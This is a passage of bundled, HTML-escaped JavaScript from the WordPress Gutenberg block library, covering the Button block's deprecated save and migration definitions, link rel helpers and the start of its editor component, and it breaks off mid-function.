        __experimentalSkipSerialization: true,
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalWritingMode: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      reusable: false,
      shadow: {
        __experimentalSkipSerialization: true
      },
      spacing: {
        __experimentalSkipSerialization: true,
        padding: [&quot;horizontal&quot;, &quot;vertical&quot;],
        __experimentalDefaultControls: {
          padding: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      __experimentalSelector: &quot;.wp-block-button__link&quot;,
      interactivity: {
        clientNavigation: true
      }
    },
    save({ attributes: attributes2, className }) {
      const {
        tagName,
        type,
        textAlign,
        fontSize,
        linkTarget,
        rel,
        style: style2,
        text,
        title,
        url,
        width
      } = attributes2;
      const TagName2 = tagName || &quot;a&quot;;
      const isButtonTag = &quot;button&quot; === TagName2;
      const buttonType = type || &quot;button&quot;;
      const borderProps = (0, import_block_editor19.__experimentalGetBorderClassesAndStyles)(attributes2);
      const colorProps = (0, import_block_editor19.__experimentalGetColorClassesAndStyles)(attributes2);
      const spacingProps = (0, import_block_editor19.__experimentalGetSpacingClassesAndStyles)(attributes2);
      const shadowProps = (0, import_block_editor19.__experimentalGetShadowClassesAndStyles)(attributes2);
      const buttonClasses = clsx_default(
        &quot;wp-block-button__link&quot;,
        colorProps.className,
        borderProps.className,
        {
          [`has-text-align-${textAlign}`]: textAlign,
          // For backwards compatibility add style that isn&#039;t provided via
          // block support.
          &quot;no-border-radius&quot;: style2?.border?.radius === 0
        },
        (0, import_block_editor19.__experimentalGetElementClassName)(&quot;button&quot;)
      );
      const buttonStyle = {
        ...borderProps.style,
        ...colorProps.style,
        ...spacingProps.style,
        ...shadowProps.style
      };
      const wrapperClasses = clsx_default(className, {
        [`has-custom-width wp-block-button__width-${width}`]: width,
        [`has-custom-font-size`]: fontSize || style2?.typography?.fontSize
      });
      return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(&quot;div&quot;, { ...import_block_editor19.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
        import_block_editor19.RichText.Content,
        {
          tagName: TagName2,
          type: isButtonTag ? buttonType : null,
          className: buttonClasses,
          href: isButtonTag ? null : url,
          title,
          style: buttonStyle,
          value: text,
          target: isButtonTag ? null : linkTarget,
          rel: isButtonTag ? null : rel
        }
      ) });
    }
  };
  var v11 = {
    attributes: {
      url: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;href&quot;
      },
      title: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;title&quot;
      },
      text: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;a&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;target&quot;
      },
      rel: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;rel&quot;
      },
      placeholder: {
        type: &quot;string&quot;
      },
      backgroundColor: {
        type: &quot;string&quot;
      },
      textColor: {
        type: &quot;string&quot;
      },
      gradient: {
        type: &quot;string&quot;
      },
      width: {
        type: &quot;number&quot;
      }
    },
    supports: {
      anchor: true,
      align: true,
      alignWide: false,
      color: {
        __experimentalSkipSerialization: true,
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        __experimentalFontFamily: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      reusable: false,
      spacing: {
        __experimentalSkipSerialization: true,
        padding: [&quot;horizontal&quot;, &quot;vertical&quot;],
        __experimentalDefaultControls: {
          padding: true
        }
      },
      __experimentalBorder: {
        radius: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          radius: true
        }
      },
      __experimentalSelector: &quot;.wp-block-button__link&quot;
    },
    save({ attributes: attributes2, className }) {
      const { fontSize, linkTarget, rel, style: style2, text, title, url, width } = attributes2;
      if (!text) {
        return null;
      }
      const borderProps = (0, import_block_editor19.__experimentalGetBorderClassesAndStyles)(attributes2);
      const colorProps = (0, import_block_editor19.__experimentalGetColorClassesAndStyles)(attributes2);
      const spacingProps = (0, import_block_editor19.__experimentalGetSpacingClassesAndStyles)(attributes2);
      const buttonClasses = clsx_default(
        &quot;wp-block-button__link&quot;,
        colorProps.className,
        borderProps.className,
        {
          // For backwards compatibility add style that isn&#039;t provided via
          // block support.
          &quot;no-border-radius&quot;: style2?.border?.radius === 0
        }
      );
      const buttonStyle = {
        ...borderProps.style,
        ...colorProps.style,
        ...spacingProps.style
      };
      const wrapperClasses = clsx_default(className, {
        [`has-custom-width wp-block-button__width-${width}`]: width,
        [`has-custom-font-size`]: fontSize || style2?.typography?.fontSize
      });
      return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(&quot;div&quot;, { ...import_block_editor19.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
        import_block_editor19.RichText.Content,
        {
          tagName: &quot;a&quot;,
          className: buttonClasses,
          href: url,
          title,
          style: buttonStyle,
          value: text,
          target: linkTarget,
          rel
        }
      ) });
    }
  };
  var v10 = {
    attributes: {
      url: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;href&quot;
      },
      title: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;title&quot;
      },
      text: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;a&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;target&quot;
      },
      rel: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;a&quot;,
        attribute: &quot;rel&quot;
      },
      placeholder: {
        type: &quot;string&quot;
      },
      backgroundColor: {
        type: &quot;string&quot;
      },
      textColor: {
        type: &quot;string&quot;
      },
      gradient: {
        type: &quot;string&quot;
      },
      width: {
        type: &quot;number&quot;
      }
    },
    supports: {
      anchor: true,
      align: true,
      alignWide: false,
      color: {
        __experimentalSkipSerialization: true,
        gradients: true
      },
      typography: {
        fontSize: true,
        __experimentalFontFamily: true
      },
      reusable: false,
      spacing: {
        __experimentalSkipSerialization: true,
        padding: [&quot;horizontal&quot;, &quot;vertical&quot;],
        __experimentalDefaultControls: {
          padding: true
        }
      },
      __experimentalBorder: {
        radius: true,
        __experimentalSkipSerialization: true
      },
      __experimentalSelector: &quot;.wp-block-button__link&quot;
    },
    save({ attributes: attributes2, className }) {
      const { fontSize, linkTarget, rel, style: style2, text, title, url, width } = attributes2;
      if (!text) {
        return null;
      }
      const borderProps = (0, import_block_editor19.__experimentalGetBorderClassesAndStyles)(attributes2);
      const colorProps = (0, import_block_editor19.__experimentalGetColorClassesAndStyles)(attributes2);
      const spacingProps = (0, import_block_editor19.__experimentalGetSpacingClassesAndStyles)(attributes2);
      const buttonClasses = clsx_default(
        &quot;wp-block-button__link&quot;,
        colorProps.className,
        borderProps.className,
        {
          // For backwards compatibility add style that isn&#039;t provided via
          // block support.
          &quot;no-border-radius&quot;: style2?.border?.radius === 0
        }
      );
      const buttonStyle = {
        ...borderProps.style,
        ...colorProps.style,
        ...spacingProps.style
      };
      const wrapperClasses = clsx_default(className, {
        [`has-custom-width wp-block-button__width-${width}`]: width,
        [`has-custom-font-size`]: fontSize || style2?.typography?.fontSize
      });
      return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(&quot;div&quot;, { ...import_block_editor19.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
        import_block_editor19.RichText.Content,
        {
          tagName: &quot;a&quot;,
          className: buttonClasses,
          href: url,
          title,
          style: buttonStyle,
          value: text,
          target: linkTarget,
          rel
        }
      ) });
    },
    migrate: migrate_font_family_default,
    isEligible({ style: style2 }) {
      return style2?.typography?.fontFamily;
    }
  };
  var deprecated = [
    v13,
    v12,
    v11,
    v10,
    {
      supports: {
        anchor: true,
        align: true,
        alignWide: false,
        color: {
          __experimentalSkipSerialization: true,
          gradients: true
        },
        typography: {
          fontSize: true,
          __experimentalFontFamily: true
        },
        reusable: false,
        __experimentalSelector: &quot;.wp-block-button__link&quot;
      },
      attributes: {
        ...blockAttributes,
        linkTarget: {
          type: &quot;string&quot;,
          source: &quot;attribute&quot;,
          selector: &quot;a&quot;,
          attribute: &quot;target&quot;
        },
        rel: {
          type: &quot;string&quot;,
          source: &quot;attribute&quot;,
          selector: &quot;a&quot;,
          attribute: &quot;rel&quot;
        },
        placeholder: {
          type: &quot;string&quot;
        },
        backgroundColor: {
          type: &quot;string&quot;
        },
        textColor: {
          type: &quot;string&quot;
        },
        gradient: {
          type: &quot;string&quot;
        },
        width: {
          type: &quot;number&quot;
        }
      },
      isEligible({ style: style2 }) {
        return typeof style2?.border?.radius === &quot;number&quot;;
      },
      save({ attributes: attributes2, className }) {
        const {
          fontSize,
          linkTarget,
          rel,
          style: style2,
          text,
          title,
          url,
          width
        } = attributes2;
        if (!text) {
          return null;
        }
        const borderRadius = style2?.border?.radius;
        const colorProps = (0, import_block_editor19.__experimentalGetColorClassesAndStyles)(attributes2);
        const buttonClasses = clsx_default(
          &quot;wp-block-button__link&quot;,
          colorProps.className,
          {
            &quot;no-border-radius&quot;: style2?.border?.radius === 0
          }
        );
        const buttonStyle = {
          borderRadius: borderRadius ? borderRadius : void 0,
          ...colorProps.style
        };
        const wrapperClasses = clsx_default(className, {
          [`has-custom-width wp-block-button__width-${width}`]: width,
          [`has-custom-font-size`]: fontSize || style2?.typography?.fontSize
        });
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(&quot;div&quot;, { ...import_block_editor19.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          import_block_editor19.RichText.Content,
          {
            tagName: &quot;a&quot;,
            className: buttonClasses,
            href: url,
            title,
            style: buttonStyle,
            value: text,
            target: linkTarget,
            rel
          }
        ) });
      },
      migrate: (0, import_compose6.compose)(migrate_font_family_default, migrateBorderRadius)
    },
    {
      supports: {
        anchor: true,
        align: true,
        alignWide: false,
        color: {
          __experimentalSkipSerialization: true
        },
        reusable: false,
        __experimentalSelector: &quot;.wp-block-button__link&quot;
      },
      attributes: {
        ...blockAttributes,
        linkTarget: {
          type: &quot;string&quot;,
          source: &quot;attribute&quot;,
          selector: &quot;a&quot;,
          attribute: &quot;target&quot;
        },
        rel: {
          type: &quot;string&quot;,
          source: &quot;attribute&quot;,
          selector: &quot;a&quot;,
          attribute: &quot;rel&quot;
        },
        placeholder: {
          type: &quot;string&quot;
        },
        borderRadius: {
          type: &quot;number&quot;
        },
        backgroundColor: {
          type: &quot;string&quot;
        },
        textColor: {
          type: &quot;string&quot;
        },
        gradient: {
          type: &quot;string&quot;
        },
        style: {
          type: &quot;object&quot;
        },
        width: {
          type: &quot;number&quot;
        }
      },
      save({ attributes: attributes2, className }) {
        const { borderRadius, linkTarget, rel, text, title, url, width } = attributes2;
        const colorProps = (0, import_block_editor19.__experimentalGetColorClassesAndStyles)(attributes2);
        const buttonClasses = clsx_default(
          &quot;wp-block-button__link&quot;,
          colorProps.className,
          {
            &quot;no-border-radius&quot;: borderRadius === 0
          }
        );
        const buttonStyle = {
          borderRadius: borderRadius ? borderRadius + &quot;px&quot; : void 0,
          ...colorProps.style
        };
        const wrapperClasses = clsx_default(className, {
          [`has-custom-width wp-block-button__width-${width}`]: width
        });
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(&quot;div&quot;, { ...import_block_editor19.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          import_block_editor19.RichText.Content,
          {
            tagName: &quot;a&quot;,
            className: buttonClasses,
            href: url,
            title,
            style: buttonStyle,
            value: text,
            target: linkTarget,
            rel
          }
        ) });
      },
      migrate: (0, import_compose6.compose)(migrate_font_family_default, migrateBorderRadius)
    },
    {
      supports: {
        anchor: true,
        align: true,
        alignWide: false,
        color: {
          __experimentalSkipSerialization: true
        },
        reusable: false,
        __experimentalSelector: &quot;.wp-block-button__link&quot;
      },
      attributes: {
        ...blockAttributes,
        linkTarget: {
          type: &quot;string&quot;,
          source: &quot;attribute&quot;,
          selector: &quot;a&quot;,
          attribute: &quot;target&quot;
        },
        rel: {
          type: &quot;string&quot;,
          source: &quot;attribute&quot;,
          selector: &quot;a&quot;,
          attribute: &quot;rel&quot;
        },
        placeholder: {
          type: &quot;string&quot;
        },
        borderRadius: {
          type: &quot;number&quot;
        },
        backgroundColor: {
          type: &quot;string&quot;
        },
        textColor: {
          type: &quot;string&quot;
        },
        gradient: {
          type: &quot;string&quot;
        },
        style: {
          type: &quot;object&quot;
        },
        width: {
          type: &quot;number&quot;
        }
      },
      save({ attributes: attributes2, className }) {
        const { borderRadius, linkTarget, rel, text, title, url, width } = attributes2;
        const colorProps = (0, import_block_editor19.__experimentalGetColorClassesAndStyles)(attributes2);
        const buttonClasses = clsx_default(
          &quot;wp-block-button__link&quot;,
          colorProps.className,
          {
            &quot;no-border-radius&quot;: borderRadius === 0
          }
        );
        const buttonStyle = {
          borderRadius: borderRadius ? borderRadius + &quot;px&quot; : void 0,
          ...colorProps.style
        };
        const wrapperClasses = clsx_default(className, {
          [`has-custom-width wp-block-button__width-${width}`]: width
        });
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(&quot;div&quot;, { ...import_block_editor19.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          import_block_editor19.RichText.Content,
          {
            tagName: &quot;a&quot;,
            className: buttonClasses,
            href: url,
            title,
            style: buttonStyle,
            value: text,
            target: linkTarget,
            rel
          }
        ) });
      },
      migrate: (0, import_compose6.compose)(migrate_font_family_default, migrateBorderRadius)
    },
    {
      supports: {
        align: true,
        alignWide: false,
        color: { gradients: true }
      },
      attributes: {
        ...blockAttributes,
        linkTarget: {
          type: &quot;string&quot;,
          source: &quot;attribute&quot;,
          selector: &quot;a&quot;,
          attribute: &quot;target&quot;
        },
        rel: {
          type: &quot;string&quot;,
          source: &quot;attribute&quot;,
          selector: &quot;a&quot;,
          attribute: &quot;rel&quot;
        },
        placeholder: {
          type: &quot;string&quot;
        },
        borderRadius: {
          type: &quot;number&quot;
        },
        backgroundColor: {
          type: &quot;string&quot;
        },
        textColor: {
          type: &quot;string&quot;
        },
        gradient: {
          type: &quot;string&quot;
        },
        style: {
          type: &quot;object&quot;
        }
      },
      save({ attributes: attributes2 }) {
        const { borderRadius, linkTarget, rel, text, title, url } = attributes2;
        const buttonClasses = clsx_default(&quot;wp-block-button__link&quot;, {
          &quot;no-border-radius&quot;: borderRadius === 0
        });
        const buttonStyle = {
          borderRadius: borderRadius ? borderRadius + &quot;px&quot; : void 0
        };
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          import_block_editor19.RichText.Content,
          {
            tagName: &quot;a&quot;,
            className: buttonClasses,
            href: url,
            title,
            style: buttonStyle,
            value: text,
            target: linkTarget,
            rel
          }
        );
      },
      migrate: migrateBorderRadius
    },
    {
      supports: {
        align: true,
        alignWide: false
      },
      attributes: {
        ...blockAttributes,
        linkTarget: {
          type: &quot;string&quot;,
          source: &quot;attribute&quot;,
          selector: &quot;a&quot;,
          attribute: &quot;target&quot;
        },
        rel: {
          type: &quot;string&quot;,
          source: &quot;attribute&quot;,
          selector: &quot;a&quot;,
          attribute: &quot;rel&quot;
        },
        placeholder: {
          type: &quot;string&quot;
        },
        borderRadius: {
          type: &quot;number&quot;
        },
        backgroundColor: {
          type: &quot;string&quot;
        },
        textColor: {
          type: &quot;string&quot;
        },
        customBackgroundColor: {
          type: &quot;string&quot;
        },
        customTextColor: {
          type: &quot;string&quot;
        },
        customGradient: {
          type: &quot;string&quot;
        },
        gradient: {
          type: &quot;string&quot;
        }
      },
      isEligible: (attributes2) =&gt; !!attributes2.customTextColor || !!attributes2.customBackgroundColor || !!attributes2.customGradient || !!attributes2.align,
      migrate: (0, import_compose6.compose)(
        migrateBorderRadius,
        migrateCustomColorsAndGradients,
        migrateAlign
      ),
      save({ attributes: attributes2 }) {
        const {
          backgroundColor,
          borderRadius,
          customBackgroundColor,
          customTextColor,
          customGradient,
          linkTarget,
          gradient,
          rel,
          text,
          textColor,
          title,
          url
        } = attributes2;
        const textClass = (0, import_block_editor19.getColorClassName)(&quot;color&quot;, textColor);
        const backgroundClass = !customGradient &amp;&amp; (0, import_block_editor19.getColorClassName)(&quot;background-color&quot;, backgroundColor);
        const gradientClass = (0, import_block_editor19.__experimentalGetGradientClass)(gradient);
        const buttonClasses = clsx_default(&quot;wp-block-button__link&quot;, {
          &quot;has-text-color&quot;: textColor || customTextColor,
          [textClass]: textClass,
          &quot;has-background&quot;: backgroundColor || customBackgroundColor || customGradient || gradient,
          [backgroundClass]: backgroundClass,
          &quot;no-border-radius&quot;: borderRadius === 0,
          [gradientClass]: gradientClass
        });
        const buttonStyle = {
          background: customGradient ? customGradient : void 0,
          backgroundColor: backgroundClass || customGradient || gradient ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor,
          borderRadius: borderRadius ? borderRadius + &quot;px&quot; : void 0
        };
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(&quot;div&quot;, { children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          import_block_editor19.RichText.Content,
          {
            tagName: &quot;a&quot;,
            className: buttonClasses,
            href: url,
            title,
            style: buttonStyle,
            value: text,
            target: linkTarget,
            rel
          }
        ) });
      }
    },
    {
      attributes: {
        ...blockAttributes,
        align: {
          type: &quot;string&quot;,
          default: &quot;none&quot;
        },
        backgroundColor: {
          type: &quot;string&quot;
        },
        textColor: {
          type: &quot;string&quot;
        },
        customBackgroundColor: {
          type: &quot;string&quot;
        },
        customTextColor: {
          type: &quot;string&quot;
        },
        linkTarget: {
          type: &quot;string&quot;,
          source: &quot;attribute&quot;,
          selector: &quot;a&quot;,
          attribute: &quot;target&quot;
        },
        rel: {
          type: &quot;string&quot;,
          source: &quot;attribute&quot;,
          selector: &quot;a&quot;,
          attribute: &quot;rel&quot;
        },
        placeholder: {
          type: &quot;string&quot;
        }
      },
      isEligible(attribute) {
        return attribute.className &amp;&amp; attribute.className.includes(&quot;is-style-squared&quot;);
      },
      migrate(attributes2) {
        let newClassName = attributes2.className;
        if (newClassName) {
          newClassName = newClassName.replace(/is-style-squared[\s]?/, &quot;&quot;).trim();
        }
        return migrateBorderRadius(
          migrateCustomColorsAndGradients({
            ...attributes2,
            className: newClassName ? newClassName : void 0,
            borderRadius: 0
          })
        );
      },
      save({ attributes: attributes2 }) {
        const {
          backgroundColor,
          customBackgroundColor,
          customTextColor,
          linkTarget,
          rel,
          text,
          textColor,
          title,
          url
        } = attributes2;
        const textClass = (0, import_block_editor19.getColorClassName)(&quot;color&quot;, textColor);
        const backgroundClass = (0, import_block_editor19.getColorClassName)(
          &quot;background-color&quot;,
          backgroundColor
        );
        const buttonClasses = clsx_default(&quot;wp-block-button__link&quot;, {
          &quot;has-text-color&quot;: textColor || customTextColor,
          [textClass]: textClass,
          &quot;has-background&quot;: backgroundColor || customBackgroundColor,
          [backgroundClass]: backgroundClass
        });
        const buttonStyle = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor
        };
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(&quot;div&quot;, { children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          import_block_editor19.RichText.Content,
          {
            tagName: &quot;a&quot;,
            className: buttonClasses,
            href: url,
            title,
            style: buttonStyle,
            value: text,
            target: linkTarget,
            rel
          }
        ) });
      }
    },
    {
      attributes: {
        ...blockAttributes,
        align: {
          type: &quot;string&quot;,
          default: &quot;none&quot;
        },
        backgroundColor: {
          type: &quot;string&quot;
        },
        textColor: {
          type: &quot;string&quot;
        },
        customBackgroundColor: {
          type: &quot;string&quot;
        },
        customTextColor: {
          type: &quot;string&quot;
        }
      },
      migrate: oldColorsMigration,
      save({ attributes: attributes2 }) {
        const {
          url,
          text,
          title,
          backgroundColor,
          textColor,
          customBackgroundColor,
          customTextColor
        } = attributes2;
        const textClass = (0, import_block_editor19.getColorClassName)(&quot;color&quot;, textColor);
        const backgroundClass = (0, import_block_editor19.getColorClassName)(
          &quot;background-color&quot;,
          backgroundColor
        );
        const buttonClasses = clsx_default(&quot;wp-block-button__link&quot;, {
          &quot;has-text-color&quot;: textColor || customTextColor,
          [textClass]: textClass,
          &quot;has-background&quot;: backgroundColor || customBackgroundColor,
          [backgroundClass]: backgroundClass
        });
        const buttonStyle = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor
        };
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(&quot;div&quot;, { children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          import_block_editor19.RichText.Content,
          {
            tagName: &quot;a&quot;,
            className: buttonClasses,
            href: url,
            title,
            style: buttonStyle,
            value: text
          }
        ) });
      }
    },
    {
      attributes: {
        ...blockAttributes,
        color: {
          type: &quot;string&quot;
        },
        textColor: {
          type: &quot;string&quot;
        },
        align: {
          type: &quot;string&quot;,
          default: &quot;none&quot;
        }
      },
      save({ attributes: attributes2 }) {
        const { url, text, title, align, color, textColor } = attributes2;
        const buttonStyle = {
          backgroundColor: color,
          color: textColor
        };
        const linkClass = &quot;wp-block-button__link&quot;;
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(&quot;div&quot;, { className: `align${align}`, children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          import_block_editor19.RichText.Content,
          {
            tagName: &quot;a&quot;,
            className: linkClass,
            href: url,
            title,
            style: buttonStyle,
            value: text
          }
        ) });
      },
      migrate: oldColorsMigration
    },
    {
      attributes: {
        ...blockAttributes,
        color: {
          type: &quot;string&quot;
        },
        textColor: {
          type: &quot;string&quot;
        },
        align: {
          type: &quot;string&quot;,
          default: &quot;none&quot;
        }
      },
      save({ attributes: attributes2 }) {
        const { url, text, title, align, color, textColor } = attributes2;
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          &quot;div&quot;,
          {
            className: `align${align}`,
            style: { backgroundColor: color },
            children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
              import_block_editor19.RichText.Content,
              {
                tagName: &quot;a&quot;,
                href: url,
                title,
                style: { color: textColor },
                value: text
              }
            )
          }
        );
      },
      migrate: oldColorsMigration
    }
  ];
  var deprecated_default3 = deprecated;

  // packages/block-library/build-module/button/edit.mjs
  var import_i18n13 = __toESM(require_i18n(), 1);
  var import_element10 = __toESM(require_element(), 1);
  var import_components10 = __toESM(require_components(), 1);
  var import_block_editor21 = __toESM(require_block_editor(), 1);
  var import_keycodes = __toESM(require_keycodes(), 1);
  var import_blocks7 = __toESM(require_blocks(), 1);
  var import_compose8 = __toESM(require_compose(), 1);
  var import_data11 = __toESM(require_data(), 1);

  // packages/block-library/build-module/button/constants.mjs
  var NEW_TAB_REL = &quot;noreferrer noopener&quot;;
  var NEW_TAB_TARGET = &quot;_blank&quot;;
  var NOFOLLOW_REL = &quot;nofollow&quot;;

  // packages/block-library/build-module/button/get-updated-link-attributes.mjs
  var import_url2 = __toESM(require_url(), 1);
  function getUpdatedLinkAttributes({
    rel = &quot;&quot;,
    url = &quot;&quot;,
    opensInNewTab,
    nofollow
  }) {
    let newLinkTarget;
    let updatedRel = rel;
    if (opensInNewTab) {
      newLinkTarget = NEW_TAB_TARGET;
      updatedRel = updatedRel?.includes(NEW_TAB_REL) ? updatedRel : updatedRel + ` ${NEW_TAB_REL}`;
    } else {
      const relRegex = new RegExp(`\\b${NEW_TAB_REL}\\s*`, &quot;g&quot;);
      updatedRel = updatedRel?.replace(relRegex, &quot;&quot;).trim();
    }
    if (nofollow) {
      updatedRel = updatedRel?.includes(NOFOLLOW_REL) ? updatedRel : (updatedRel + ` ${NOFOLLOW_REL}`).trim();
    } else {
      const relRegex = new RegExp(`\\b${NOFOLLOW_REL}\\s*`, &quot;g&quot;);
      updatedRel = updatedRel?.replace(relRegex, &quot;&quot;).trim();
    }
    return {
      url: (0, import_url2.prependHTTPS)(url),
      linkTarget: newLinkTarget,
      rel: updatedRel || void 0
    };
  }

  // packages/block-library/build-module/utils/remove-anchor-tag.mjs
  function removeAnchorTag(value) {
    return value.toString().replace(/&lt;\/?a[^&gt;]*&gt;/g, &quot;&quot;);
  }

  // packages/block-library/build-module/utils/deprecated-text-align-attributes.mjs
  var import_compose7 = __toESM(require_compose(), 1);
  var import_element9 = __toESM(require_element(), 1);
  var import_deprecated3 = __toESM(require_deprecated(), 1);
  var import_data10 = __toESM(require_data(), 1);
  var import_block_editor20 = __toESM(require_block_editor(), 1);
  function useDeprecatedTextAlign(props) {
    const { name: name123, attributes: attributes2, setAttributes } = props;
    const { textAlign } = attributes2;
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data10.useDispatch)(import_block_editor20.store);
    const updateStyleWithAlign = (0, import_compose7.useEvent)(() =&gt; {
      (0, import_deprecated3.default)(`textAlign attribute in ${name123}`, {
        alternative: &quot;style.typography.textAlign&quot;,
        since: &quot;7.0&quot;
      });
      __unstableMarkNextChangeAsNotPersistent();
      setAttributes((currentAttr) =&gt; ({
        style: {
          ...currentAttr.style,
          typography: {
            ...currentAttr.style?.typography,
            textAlign
          }
        }
      }));
    });
    const lastUpdatedAlignRef = (0, import_element9.useRef)();
    (0, import_element9.useEffect)(() =&gt; {
      if (textAlign === lastUpdatedAlignRef.current) {
        return;
      }
      lastUpdatedAlignRef.current = textAlign;
      updateStyleWithAlign();
    }, [textAlign, updateStyleWithAlign]);
  }

  // packages/block-library/build-module/button/edit.mjs
  var import_jsx_runtime176 = __toESM(require_jsx_runtime(), 1);
  var { HTMLElementControl } = unlock(import_block_editor21.privateApis);
  var LINK_SETTINGS = [
    ...import_block_editor21.LinkControl.DEFAULT_LINK_SETTINGS,
    {
      id: &quot;nofollow&quot;,
      title: (0, import_i18n13.__)(&quot;Mark as nofollow&quot;)
    }
  ];
  function useEnter(props) {
    const { replaceBlocks, selectionChange } = (0, import_data11.useDispatch)(import_block_editor21.store);
    const { getBlock, getBlockRootClientId, getBlockIndex } = (0, import_data11.useSelect)(import_block_editor21.store);
    const propsRef = (0, import_element10.useRef)(props);
    propsRef.current = props;
    return (0, import_compose8.useRefEffect)((element) =&gt; {
      function onKeyDown(event) {
        if (event.defaultPrevented || event.keyCode !== import_keycodes.ENTER) {
          return;
        }
        const { content, clientId } = propsRef.current;
        if (content.length) {
          return;
        }
        event.preventDefault();
        const topParentListBlock = getBlock(
          getBlockRootClientId(clientId)
        );
        const blockIndex = getBlockIndex(clientId);
        const head = (0, import_blocks7.cloneBlock)({
          ...topParentListBlock,
          innerBlocks: topParentListBlock.innerBlocks.slice(
            0,
            blockIndex
          )
        });
        const middle = (0, import_blocks7.createBlock)((0, import_blocks7.getDefaultBlockName)());
        const after = topParentListBlock.innerBlocks.slice(
          blockIndex + 1
        );
        const tail = after.length ? [
          (0, import_blocks7.cloneBlock)({
            ...topParentListBlock,
            innerBlocks: after
          })
        ] : [];
        replaceBlocks(
          topParentListBlock.clientId,
          [head, middle, ...tail],
          1
        );
        selectionChange(middle.clientId);
      }
      element.addEventListener(&quot;keydown&quot;, onKeyDown);
      return () =&gt; {
        element.removeEventListener(&quot;keydown&quot;, onKeyDown);
      };
    }, []);
  }
  function WidthPanel({ selectedWidth, setAttributes }) {
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
      import_components10.__experimentalToolsPanel,
      {
        label: (0, import_i18n13.__)(&quot;Settings&quot;),
        resetAll: () =&gt; setAttributes({ width: void 0 }),
        dropdownMenuProps,
        children: /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
          import_components10.__experimentalToolsPanelItem,
          {
            label: (0, import_i18n13.__)(&quot;Width&quot;),
            isShownByDefault: true,
            hasValue: () =&gt; !!selectedWidth,
            onDeselect: () =&gt; setAttributes({ width: void 0 }),
            children: /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
              import_components10.__experimentalToggleGroupControl,
              {
                label: (0, import_i18n13.__)(&quot;Width&quot;),
                value: selectedWidth,
                onChange: (newWidth) =&gt; setAttributes({ width: newWidth }),
                isBlock: true,
                __next40pxDefaultSize: true,
                children: [25, 50, 75, 100].map((widthValue) =&gt; {
                  return /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
                    import_components10.__experimentalToggleGroupControlOption,
                    {
                      value: widthValue,
                      label: (0, import_i18n13.sprintf)(
                        /* translators: %d: Percentage value. */
                        (0, import_i18n13.__)(&quot;%d%%&quot;),
                        widthValue
                      )
                    },
                    widthValue
                  );
                })
              }
            )
          }
        )
      }
    );
  }
  function ButtonEdit(props) {
    const {
      attributes: attributes2,
      setAttributes,
      className,
      isSelected,
      onReplace,
      mergeBlocks,
      clientId,
      context
    } = props;
    const {
      tagName,
      linkTarget,
